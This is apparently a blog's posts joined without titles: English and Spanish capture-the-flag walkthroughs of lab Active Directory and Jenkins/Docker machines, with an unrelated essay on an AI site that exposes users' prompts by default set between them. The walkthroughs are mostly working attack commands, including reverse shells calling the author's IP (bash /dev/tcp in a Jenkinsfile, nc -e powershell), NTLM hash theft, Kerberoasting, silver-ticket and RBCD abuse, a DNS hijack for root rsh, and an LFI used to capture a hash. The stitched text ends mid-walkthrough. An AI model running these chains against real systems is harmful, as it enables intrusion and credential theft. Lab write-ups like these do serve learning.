PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-13 03:38:48Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   10.129.161.73:1433:
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
| ms-sql-info:
|   10.129.161.73:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-13T03:32:19
| Not valid after:  2055-10-13T03:32:19
| MD5:     71a0 a7d1 0415 5273 c435 a1b7 3f3c a693
| SHA-1:   33ec 70c4 bb5c f6f9 70f0 a974 0d5e 8f58 61d8 0b19
|_SHA-256: bd49 856e b83c ee10 e888 7f2e 25f5 8c3c 1080 205c 4c16 2a57 af4b 3e37 2d87 8c2f
|_ssl-date: 2025-10-13T03:39:41+00:00; 0s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-07T08:04:48
| Not valid after:  2026-03-09T08:04:48
| MD5:     f457 54f6 0073 10ba ecb2 0f99 fca9 d035
| SHA-1:   ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
|_SHA-256: 27dd 4b87 17d3 579e baa5 97f7 b638 7b2b ba05 ad39 fd81 d60f 4108 3a48 3602 55f8
|_ssl-date: 2025-10-13T03:39:41+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-10-13T03:39:01+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

FOOTHOLD

The initial nmap scan indicates that we are dealing with a Windows AD environment. I performed a bruteforce attack on user RIDs using netexec to enumerate users.

nxc smb BREACHDC.breach.vl -u 'aasdad' -p '' --rid-brute

Domain Users

Christine.Bruce
Claire.Pope
Diana.Pope
George.Williams
Hilary.Reed
Hugh.Watts
Jasmine.Price
Jasmine.Slater
Julia.Wong
Lawrence.Kaur
staff
svc_mssql

SMB Guest Allowed

If we connect as Guest via SMB and enumerate shares, we get the following resources:

We have a folder with read and write permissions, which is interesting.

smbclient //10.129.161.73/share --no-pass

Since there is nothing useful inside, we can use these folders to upload our own files to steal NTLM hashes

The first step is to generate multiple files using ntlm_theft.py.

python3 ntlm_theft.py -g all -s 10.10.14.42 --filename testingFiles

Then I run responder:

responder -I tun0 -Pv

Finally, I upload all the files:

prompt off
mput *

After a while, I receive hashes from Julia.Wong:

We cracked it with Hashcat and obtained the password:

JULIA.WONG --> Computer1

SMB | User.txt

Im now checking with the valid credentials of Julia.Wong, and in the shared resource share, we obtained the flag for user.txt.

Bloodhound

Like in any environment, I like to know where I stand and what permissions I have, so I grab all the objects from Active Directory and run them through Bloodhound for analysis.

nxc ldap 10.129.161.73 -u 'JULIA.WONG' -p 'Computer1' --bloodhound -c all --dns-server 10.129.161.73

Kerberoast | SVC_MSSQL

By analyzing bloodhound, we can discover that the account SVC_MSSQL appears to be kerberoastable.

We carried out the kerberoast attack:

targetedKerberoast.py -v --dc-ip 10.129.161.73 -d breach.vl -u JULIA.WONG -p 'Computer1'

Finally we cracked it with hashcat:

svc_mssql -> Trustno1

MSSQLSvc

Having valid credentials, we can connect to the SQL service that we observed during the initial scan with nmap:

mssqlclient.py 10.129.161.73/svc_mssql:'Trustno1'@10.129.161.73 -windows-auth

Even though we've compromised the account, we realize we don't have enough permissions to run commands. We can list stuff with xp_dirtree, but we need command execution to make an real impact:

[%] exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
ERROR(BREACHDC\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(BREACHDC\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.

Silver Ticket Abuse

We can abuse silver tickets to escalate privileges. First, we obtain the Domain SID:

lookupsid.py 'breach.vl/svc_mssql@10.129.161.73'

S-1-5-21-2330692793-3312915120-706255856

Next, we generate the NTHASH of the password of the service account that we control:

iconv -f ASCII -t UTF-16LE <(printf "Trustno1") | openssl dgst -md4

MD4(stdin)= 69596c7aa1e8daee17f8e78870e25a5c

Finally, we generated the silver ticket:

ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -dc-ip 10.10.77.106 -spn mssql/breachdc.breach.vl -domain breach.vl Administrator

We export the ticket and reconnect to the MSSQL service:

mssqlclient.py -k BREACHDC.breach.vl

We will see that this time we are Administrator:

We enable xp_cmdshell and then we can run any command on the system, we will get a revshell, in my case an encoded powershell:

PrivEsc to Administrator

Once inside the system, escalation is very easy.. we take advantage of the following privilege with any Potato of preference:

.\god.exe -cmd "nc.exe -e powershell.exe 10.10.14.42 8000"

Finally, we got the root.txt and pwned!

We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming.

While I was bored and curiously browsing around, I stumbled on an AI platform that offers several free but limited AI engines. The strange part is an intentional endpoint to discover, a feed that exposes other users queries and prompts like social media posts.

The catch..

By default every conversation is public. There is an option to set each chat as private, but since that is “not the default”, most users never change it. That small design choice means the majority of prompts remain exposed by default.

With real cases it becomes clear: what looks like a personal or harmless query can end up leaking photos, credentials, or sensitive situations. Defaults matter, and in this case the default setting is exactly what puts privacy at risk.

Real cases

Case 1: Personal relationship coaching with private photos

A user uploaded .png image, asking the AI to help him “bag this girl 100%” Both the photo and the request are exposed to the world.

Case 2: Academic dishonesty with multiple photos

Another prompt contained eight images of exam questions with the request to code the solution in C++. Not only an integrity issue but also private exam content, now public.

Case 3: API token and cookie exposure

One of the most critical: a full curl request with Bearer token and cookies. Anyone could reuse that for unauthorized access. Classic example of sensitive credentials leaking by design.

Case 4: Facial rating and body shaming risk

A link to a ChatGPT share where a user asks for a full brutal breakdown of their looks: jawline, eyes, hair. A privacy nightmare turned into potential public shaming.

Case 5: Self image

Another photo uploaded by someone asking if their face was “Really bad?”.. This highlights how exposed and fragile people can be when they don't realize their content is public.

Case 6: Blog XML import request exposing admin emails

A user uploaded a Blogspot XML backup and asked for help importing posts and comments into WordPress. The file contained full post content, comments, dates, and also exposed administrator emails..

Case 7: Database configs and credentials in plain sight

Another case revealed PostgreSQL configuration (pg_hba.conf), .env variables including DB_USER and DB_PASS, and a Flask app snippet showing how the database is accessed.

Case 8: Feedback document exposing worker identity and internal training instructions

A user uploaded a .pdf file with instructions for using the AI as a personal assistant to maximize earnings. Inside the document, sensitive details were visible, including personal identifiers, worker IDs, country of origin, and internal training/probation guidelines. It even contained instructions on how to communicate with the company’s feedback department.

Impact: The document combines personally identifiable information with internal company processes. If exposed, this data could be used for impersonation, phishing, or targeted attacks against both the individual and the organization…

The problem isn't technical

This isn't an SQLi or XSS. It's worse: a leak by default design. When the default is “public,” these risks explode:

1. Doxing: personal details exposed unintentionally.

2. Scraping: easy to build massive datasets from prompts and images.

3. Legal trouble: copyrighted, sensitive, or client data leaking.

4. Emotional damage: users publishing personal photos or thoughts unknowingly.

Times are changing

Let's be real: today people use ChatGPT or other AI tools every single day, every single minute. It's part of work, school, dating, even daily routine. And with that constant flow of prompts, the line between private and public is thinner than ever.

This post isn't about exposing one site. It's about showing that with just a bit of casual browsing in the so called “legal internet,” you can stumble on free alternatives that expose all your data. It's the classic case of cheap comes expensive. Or worse, the careless use of a tool by someone who doesn't know their content is going straight into a showcase.

At the end of the day, it feels like private data doesn't matter as much anymore when the priority is to get fast answers or save a few bucks.

Conclusion

You don't need an exploit to break privacy. Sometimes bad design is enough, and in cases like this it even makes you wonder if the whole thing is just a scam hidden behind a shiny AI interface. Either way it's a reminder that defaults matter.

If you use these tools, treat every prompt as public unless you make it private yourself. Always check the small print, look for the settings, and don’t assume privacy is automatic. If you share sensitive information, wrap it in <REDACTED> tags or remove details that could expose you.

If you're building these tools, don’t leave privacy as an optional checkbox. Make private truly private, and make it the default.

Because privacy doesn’t only break with payloads, it breaks with careless product choices and with platforms that might care more about quick growth than protecting people.

53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
5985/tcp open  wsman

My initial recon made it clear.. i was dealing with a Windows Active Directory environment. Classic AD ports were open.

FOOTHOLD

I used a RID brute force attack over SMB to dump valid domain accounts. This technique allowed me to enumerate user accounts by exploiting the predictable nature of RID sequences.

nxc smb phantom.vl -u 'shkz' -p '' --rid-brute

I got back a huge list of users, perfect for spraying later.

SMB Guest Access

While poking around SMB shares as guest, I got a PDF encoded in base64 inside Public folder.

smbclient.py DC.phantom.vl/'guest'@10.129.229.112

echo "<snipped>...IDI1IDAgUgovSW5mbyAyNiAwIFIKL0lEIFsgPEM0QUQ2NUU5NEZCOTk3OTYx
MTU1Q0FGRkQ2QUMyQjUzPgo8QzRBRDY1RTk0RkI5OTc5NjExNTVDQUZGRDZBQzJCNTM+IF0KL0Rv
Y0NoZWNrc3VtIC8wQTM4N0RBQjYxNTBCMkRCMTg0MzJGMDJENzY2MDQxMwo+PgpzdGFydHhyZWYK
OTQxNAolJUVPRgo=" |base64 -d > out.pdf

Upon decoding the PDF, I found hardcoded credentials inside the file. This discovery was crucial for the next step, which involved a password spraying attack using the user list I had previously obtained.

nxc smb 10.129.229.112 -u users.txt  -p 'Ph4nt0m@5t4rt!' --continue-on-success --no-bruteforce

We’ve got valid creds for user ibryant, the first thing I usually do is feed the data into BloodHound to get some context on the user we’re dealing with and where we stand. That way I can see where we might move laterally and get a general map of the AD.

bloodhound-python -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -ns 10.129.229.112 -d 'phantom.vl' -c all --dns-tcp --zip

Meanwhile, I continued exploring the user’s shared resources over SMB, looking for additional information or files that could aid in further exploitation.

nxc smb 10.129.229.112 -u ibryant -p 'Ph4nt0m@5t4rt!' --shares

SMB - ibryant

I connect to the shared resource called Departments Share via SMB:

As a summary of all the folders, here’s what we’ve got:

VeraCrypt Backup File

I navigated through the SMB share into the IT\Backup folder. Once inside, I listed the contents and found a file called IT_BACKUP_201123.hc. Judging by the extension, it’s most likely a VeraCrypt/TrueCrypt container.

The info given at the start as a hint about the machine says the following:

Taking that hint as a base, I put together a basic python script that basically looks like this:

#!/usr/bin/env python3

import itertools

company = "Phantom"
years = ["2024", "2023", "2022", "2021", "2020"]
specials = ["!", "@", "#", "$", "%"]

mutations = [
    company.lower(),
    company.upper(),
    company.capitalize(),
]

with open("wordlist.txt", "w") as f:
    for base in mutations:
        # word
        f.write(base + "\n")

        # years
        for y in years:
            f.write(base + y + "\n")

            # year + special
            for s in specials:
                f.write(base + y + s + "\n")

        # special
        for s in specials:
            f.write(base + s + "\n"

— wordlist.txt

Finally, I ran hashcat with this custom wordlist against the backup file and managed to crack it, obtaining valid credentials.

hashcat IT_BACKUP_201123.hc wordlist.txt -m 13721

Mounting Veracrypt Volume

Next step is mounting the volume we’ve got. You can install VeraCrypt with a GUI depending on your Linux distro, or just do it on Windows. In my case, running Arch, I fire it up, select the .hc file, and punch in the password we cracked.

Once the disk is mapped, I mount it under /mnt/ctf.

sudo mount /dev/mapper/veracrypt1 /mnt/ctf

After digging through all the files and unpacking the .tar.gz and .zip archives, I run a recursive grep for keywords like “password” and boom!, I find some creds. I instantly throw them into a password spraying attack and land a valid access:

USER.txt

With that password, I run a spraying attack against the user list to see if we can score a new access.. and yes!, we get fresh creds for the svc_sspr account.

Checking in BloodHound, I saw the account is part of the Remote Management Users group, so I attempted to connect.

evil-winrm -i 10.129.229.112 -u SVC_SSPR -p 'gB6XTcqVP5MlP7Rc'

Finally, we grab the user.txt flag.

Root Path

Our user has rights to force a password change on three accounts:

• wsilva

• rnichols

• crose

So basically: these users are part of the ICT Security group, and that group has the AddAllowedToAct privilege on the DC. That means we can mess with the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to add our own machine account, opening the door to abuse via RBCD.

Changing CROSE password

As mentioned, we have the ForceChangePassword privilege, and I chose Crose to reset their password.

bloodyAD --host DC.phantom.vl -d phantom.vl -u 'SVC_SSPR' -p 'gB6XTcqVP5MlP7Rc' set password CROSE 'Pepe1234#'

Abusing Resource-Based Constrained Delegation

RBCD allows us to escalate by editing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute so another account can impersonate users via Kerberos S4U. Normally, you need a computer account, but if the domain blocks new machines (in this case 0 quota), you can exploit password/NT hash tricks to align with the TGT session key and still pull it off.

REFERENCES:

• https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

• https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users

STEP - 1

With rbcd.py, I passed a machine account using -delegate-to, and for the user, I handed over CROSE.

rbcd.py -delegate-to "DC$" -delegate-from "CROSE" -dc-ip 10.129.229.112 -action write "DC.phantom.vl/CROSE:Pepe1234#"

STEP - 2

I grabbed a TGT through an overpass-the-hash attack and extracted the TGT session key using describeTicket.py.

getTGT.py -hashes :$(pypykatz crypto nt 'Pepe1234#') 'phantom.vl'/'CROSE'

describeTicket.py CROSE.ccache | grep 'Ticket Session Key'

Then, I swapped it out with the domain user’s NT hash.

changepasswd.py -newhashes :b8c034f9036d97f34ef2ef18e9e75fc9 'phantom.vl'/'CROSE':'Pepe1234#'@'DC.phantom.vl'

STEP - 3

Using S4U2Self together with u2u, the CROSE account can request a service ticket for itself while impersonating the Administrator. From there, we pivot into S4U2Proxy to request a service ticket for the target machine that the user has delegation rights over.

export KRB5CCNAME=CROSE.ccache
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'CROSE'

STEP - 4

Finally, I dumped the hash with netexec and achieved root access.

export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache
nxc smb dc.phantom.vl --use-kcache --ntds --user Administrator

evil-winrm -i 10.129.229.112 -u Administrator -H 'aa2abd9db4f5984e657f834484512117'

PWNED!

• NMAP INFO

PORT     STATE    SERVICE
22/tcp   open     ssh
53/tcp   open     domain
512/tcp  open     exec
513/tcp  open     login
514/tcp  open     shell
873/tcp  open     rsync
3000/tcp open     ppp
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap

We have two important ports to focus on, and both are highly interconnected. I'll start with RSYNC and then move on to GITEA.

RSYNC | 873/tcp

If we focus on Port 873, we see the RSYNC service running. This service is commonly used for synchronizing files and directories between different systems:

rsync -av --list-only rsync://10.129.234.169/

This reveals a resource called "backups." We can synchronize this to a local directory we create named files/backups:

rsync -av rsync://10.129.234.169/backups files/backups

We have a file named jenkins.tar.gz, which we extract to obtain the full source code, including configuration files and other related data.

Dumping Credentials

Following this link, I was able to obtain very valuable information on how we could recover credentials over Jenkins: https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials

We need the following files to accomplish this:

• master.key (jenkins_configuration/secrets/master.key)

• hudson.util.Secret (/secrets/hudson.util.Secret)

• config.xml (jenkins_configuration/jobs/build)

The master.key, hudson.util.Secret, and config.xml files are crucial in Jenkins for decrypting stored credentials. The master.key and hudson.util.Secret are used together to encrypt and decrypt sensitive data, while config.xml contains job configurations that may include credentials.

With these files and the script, I was able to dump the credentials of the buildadm user and gain access to it through Gitea. You can find the script here: https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml

Got it! → Git1234!

GITEA 3000/tcp

Now that we have the buildadm credentials, we can head over to Gitea and log in as that user:

PoC to Obtain a Reverse Shell

With full access to the buildadm/dev repository in Gitea, we can modify its build pipeline. The Jenkins instance is configured to automatically pull and execute changes from this repository via a webhook, meaning any code we commit will be executed in the build environment.

By editing the Jenkinsfile directly through the Gitea web interface, we insert a reverse shell payload. Once committed, Jenkins will detect the change through the webhook and execute it during the next pipeline run.

We then start a listener on our machine to catch the incoming connection. After committing the changes, Jenkins processes the updated Jenkinsfile, triggers the malicious stage, and we receive a reverse shell within a minute or two, confirming remote code execution in the Jenkins environment.

• Revshell payload

pipeline {
    agent any

    stages {
        stage('pwnRev') {
            steps {
                sh '''
                    bash -c 'bash -i >& /dev/tcp/10.10.14.28/9000 0>&1'
                '''
            }
        }
    }
}

Finally, we got the reverse shell:

USER.txt

After obtaining the reverse shell, we can read the user.txt file located in the /root/user.txt directory.

.RHOSTS file:

Checking the .rhosts file located in the same directory as the user.txt file reveals the following domains:

→ admin.build.vl

→ intern.build.vl

This information will be useful later on.

The hostname and the presence of /.dockerenv confirm that we are inside a Docker container:

Reading /proc/net/route we can see:

And we can check this with ChatGPT to understand a bit more:

The addresses are in little-endian and hex. So..

• My current IP is 172.18.0.3

• Checking /proc/net/route, I see the gateway is 172.18.0.1 and the subnet is 172.18.0.0/16.

• This means 172.18.0.1 is most likely the docker host, and container ip’s start from 172.18.0.2.

Chisel and Proxychain

I’m going to upload chisel to /tmp and set it up together with proxychains to gain more mobility within the internal network, allowing me to scan it more comfortably.

On the attacker machine:

./chisel server --reverse --port 1234

On the victim machine:

./chisel client 10.10.14.28:1234 R:9050:socks &

In /etc/proxychains.conf:

socks5 127.0.0.1 9050

Performing an internal scan with Nmap via proxychains on the Docker host:

proxychains nmap 172.18.0.1

The new nmap results from inside the network now show that ports 3306 and 8081, which were previously filtered in the initial external scan, are now marked as open.

MYSQL | 3306/tcp

Connecting to MySQL as root without password works and I find a database named powerdnsadmin containing a table called records, which provides very useful information:

Summary of Internal Network Enumeration

The 172.18.0.0/16 Docker network contains hosts from 172.18.0.1 to 172.18.0.6.

• intern.build.vl → Docker host.

• gitea.build.vl → Gitea container.

• jenkins.build.vl → Jenkins container where we obtained a reverse shell.

Scanning the remaining hosts with nmap:

• 172.18.0.4 (db.build.vl) → MariaDB container (3306/tcp open, port forwarded to the host).

  

• 172.18.0.5 (pdns-worker.build.vl / pdns.build.vl) → PowerDNS container (53/tcp DNS service, 8081/tcp web interface, both forwarded to the host).

• 172.18.0.6 → HTTP service on port 80/tcp.

PowerDNS-Admin

We can find the repository for PowerDNS-Admin here: https://github.com/PowerDNS-Admin/PowerDNS-Admin to learn more about the application. After setting up chrome to use the SOCKS proxy on port 9050, I was able to browse to its web interface.

A login page is presented, requiring both credentials and an OTP token. Since we previously saw references to this in the MySQL database, the next step is to investigate whether we can retrieve credentials or any password hashes from there to crack.

• user table:

I save the hash to a file named admin-hash and use hashcat with rockyou.txt to attempt cracking it, with a positive result:

The password is: winston

hashcat admin-hash ~/wordlist/rockyou.txt -m 3200

We obtain a successful login since the admin user does not have OTP enabled :D

From the PowerDNS-Admin panel, I can edit DNS records, for example:

http://172.18.0.6/domain/build.vl

When we grabbed the user flag earlier, we found a .rhosts file in the Jenkins container with:

admin.build.vl +
intern.build.vl +

.rhosts is used by rlogin and rsh to allow certain hosts to log in without a password.

A quick scan of 172.18.0.1 to 172.18.0.6 showed that ports 512–514 are only open on 172.18.0.1, meaning those services run on the Docker host, not in containers.

It turns out /root in the Jenkins container is a bind mount from /root/scripts/root on the host, so the .rhosts file is shared. These entries mean any connection from admin.build.vl or intern.build.vl is trusted, including root logins. The host verifies this by resolving the domains via PowerDNS and checking the IP.

Right now, admin.build.vl has no DNS record, and intern.build.vl points to 172.18.0.1 (the host), so passwordless login works only locally. But since we can edit DNS records, we can add or change one to point to our attacker IP, tricking the server into trusting us and letting us log in via rlogin/rsh as root.

DNS Hijack to Gain Root Access

DNS hijacking involves redirecting DNS queries to malicious servers (our case), allowing attackers to impersonate trusted hosts.

So.. from the PowerDNS-Admin panel, we add a new record for admin.build.vl pointing to our attack machine’s IP:

Apply Changes and we confirm the record is set using dig:

dig admin.build.vl @10.129.234.169

With this in place, we can log in as root without a password using rlogin or rsh:

rsh root@build.vl

Pwned!

Puertos y servicios identificados con el escaneo inicial dando a entender un contexto claro de un entorno Windows Active Directory:

21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5357/tcp open  wsdapi

Puerto 21 | FTP

En el Puerto 21, observo que si pruebo el login con el user ‘anonymous’ es valido:

ftp anonymous@lustrous2.vl

Al enumerar carpetas, obtengo usuarios dentro del directorio Homes y, en especial, una pista en el archivo audit.txt , dentro de la carpeta /ITSEC, que indica que las contraseñas de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear users :)

Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

Genero un custom wordlist para Kerbrute

Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de passwords a los usuarios que obtuve en el FTP.

#!/bin/bash

users="users.txt"
passwd="custom_wordlist.txt"
DC="lus2dc.lustrous2.vl"
domain="lustrous2.vl"

if [[ ! -f "$users" ]]; then
  echo "El archivo $users no existe."
  exit 1
fi

if [[ ! -f "$passwd" ]]; then
  echo "El archivo $passwd no existe."
  exit 1
fi


while read -r usuario; do
  echo "Checking user: $usuario@$domain"
  kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

  if [[ $? -ne 0 ]]; then
    echo "Error:  $usuario@$domain"
  fi

  echo "Finished: $usuario@$domain"
  echo "-------------------------------------"

done < "$users"
echo "Finished"

Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:

password123
Password2024
Password2023
lustrous2
Lustrous2!
Lustrous2024
Welcome2024
Welcome123
Welcome!
User123
Lustrous2!
User2024
Qwerty123
Qwerty2024
123456
Password1
Password!
Sommer2024
Spring2024
Winter2024
Summer2024
Autumn2024
Administrator2024
Admin2024
Guest2024
Ryan123
Ryan2024
Emma123
Emma2024
Aaron123
Aaron2024
Moore2024
Bell2024
Norman2024
Lustrous2024
Start123!
[..snipped..]

Credenciales encontradas

Con el custom wordlist, logro dar con 2 nuevas credenciales:

[+] VALID LOGIN:     Terence.Jordan@lustrous2.vl:Lustrous2!
[+] VALID LOGIN:     Thomas.Myers@lustrous2.vl:Lustrous2024

Extraigo datos desde LDAP’s (port 636).

Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del Active Directory que será de gran utilidad más adelante. Esta información puede incluir detalles sobre la estructura del dominio, usuarios y grupos:

ldapsearch -x -H ldaps://lustrous2.vl:636 -D "Terence.Jordan@lustrous2.vl" -w 'Lustrous2!' -b "DC=lustrous2,DC=vl" -o tls_reqcert=never >ldap_outfile.txt

Kerberos Authentication en Linux

Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto podemos hacerlo editando el archivo /etc/krb5.conf. Configurar correctamente este archivo es fundamental para garantizar que las solicitudes de autenticación se procesen sin problemas:

[libdefaults]
        default_realm = LUSTROUS2.VL
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]        
        LUSTROUS2.VL = {
                kdc = lustrous2.vl
                admin_server = lustrous2.vl
                default_admin = lustrous2.vl
        }
[domain_realm]
        .lustrous2.vl = LUSTROUS2.VL

Una vez seteado el krb5.conf, probamos solicitando un ticket para Thomas Myers.

getTGT.py lustrous2.vl/Thomas.Myers:'Lustrous2024' -dc-ip 10.129.214.125

export KRB5CCNAME=Thomas.Myers.ccache

Si comprobamos con klist vemos que tenemos un SPN HTTP:

Si verificamos con curl con el flag de —negotiate:

curl --negotiate -u : http://lus2dc.lustrous2.vl -v

Entre el codigo fuente de la pagina vemos que efectivamente gracias al ticket, nos autenticamos y nos reconoce:

Configurando Firefox para autenticarse con Kerberos

Al parecer funciono todo bien, pero es algo incomodo movernos con el curl por lo que setearemos unos valores en Firefox para acceder via interfaz grafica. Desde la consola que exportamos el ticket, ejecuto el firefox via cli:

firefox

Una vez abre el browser en la barra de direcciones entramos a la config:

about:config

Y seteamos cada uno de los siguientes valores:

network.negotiate-auth.delegation-uris: lus2dc.lustrous2.vl
network.negotiate-auth.trusted-uris: lus2dc.lustrous2.vl
network.negotiate-auth.using-native-gsslib: true

Configurado esto, podemos reiniciar firefox para que tome efecto los cambios y volver a abrirlo desde desde la consola que exporte el ticket nuevamente.

LFI via WEB

Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el FTP como usuario anonymous. Si tratamos de hacer un LFI sobre algun archivo clasico del sistema como hosts, vemos que funciona y lo descarga.

SMB_SERVER

Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del LuShare, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:

http://lus2dc.lustrous2.vl/File/Download?fileName=\10.10.14.24\foo

Recibo conexion y me permite sacar el hash, el cual vamos a guardarlo y crackearlo con rockyou.txt.

La password es → #1Service

Obteniendo un nuevo ticket como ShareSvc

Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para la nueva cuenta ShareSvc.

getTGT.py lustrous2.vl/ShareSvc:'#1Service' -dc-ip 10.129.214.125

Y si accedemos via curl para testear, efectivamente funciona y nos autentica:

Volviendo al LFI

Aunque haya sacado credenciales de ShareSvc estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del LFI pero esta vez enfocándome en el IIS y en tratar de obtener archivos relevantes del mismo. Por ende, me enfoco en el web.config.

(El web.config de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos).

El LFI luce algo asi:

http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config

Ok, tenemos una libreria llamada LuShare.dll la cual podemos descargar y reversearla, a ver si tiene algo que nos interese.

Decompilando el LuShare.dll

Analizando el dll con DNSPY, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que solo los usuarios que pertenecen al rol ShareAdmins pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un Forbidden.

Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (ba45c518 en este caso).

• Verificación del PIN: Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.

Para abusar de estas funciones, se podría intentar obtener acceso a una cuenta con el rol ShareAdmins. Si vemos cuáles son los usuarios que poseen este rol, -con una rápida búsqueda nuevamente con ldapsearch-, encuentro dos usuarios potenciales:

- Sharon.Birch
- Ryan.Davies

S4U2Self Abuse

S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.

Basicamente es como decirle a un servicio “hacete pasar por tal usuario sin pedirle la contraseña”. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.

Es lo que haré en este caso, impersonando a Sharon.Birch:

